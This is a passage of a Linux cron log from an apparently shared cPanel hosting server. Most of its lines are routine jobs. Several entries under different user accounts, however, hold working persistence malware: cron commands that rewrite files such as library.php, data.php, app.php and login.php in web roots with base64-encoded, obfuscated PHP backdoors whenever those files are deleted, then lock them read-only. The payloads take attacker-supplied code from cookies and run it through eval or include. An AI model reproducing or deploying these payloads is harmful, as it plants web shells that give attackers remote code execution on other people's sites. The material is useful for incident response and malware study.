jo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:41:01 medusa CROND[30268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:41:01 medusa CROND[30267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:41:01 medusa CROND[30271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:41:01 medusa CROND[30274]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:41:01 medusa CROND[30275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:41:01 medusa CROND[30277]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:41:01 medusa CROND[30278]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 11:41:01 medusa CROND[30288]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:42:01 medusa CROND[19765]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:42:01 medusa CROND[19766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:42:01 medusa CROND[19767]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:42:01 medusa CROND[19768]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:42:01 medusa CROND[19769]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:42:01 medusa CROND[19770]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 11:42:01 medusa CROND[19773]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:42:01 medusa CROND[19774]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:42:01 medusa CROND[19776]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:42:01 medusa CROND[19778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:42:01 medusa CROND[19779]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:42:01 medusa CROND[19780]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:42:01 medusa CROND[19781]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:43:01 medusa CROND[9286]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:43:01 medusa CROND[9337]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:43:01 medusa CROND[9343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:43:01 medusa CROND[9344]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:43:01 medusa CROND[9345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:43:01 medusa CROND[9346]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:43:01 medusa CROND[9347]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:43:01 medusa CROND[9350]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 11:43:01 medusa CROND[9351]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:43:01 medusa CROND[9353]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:43:01 medusa CROND[9354]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo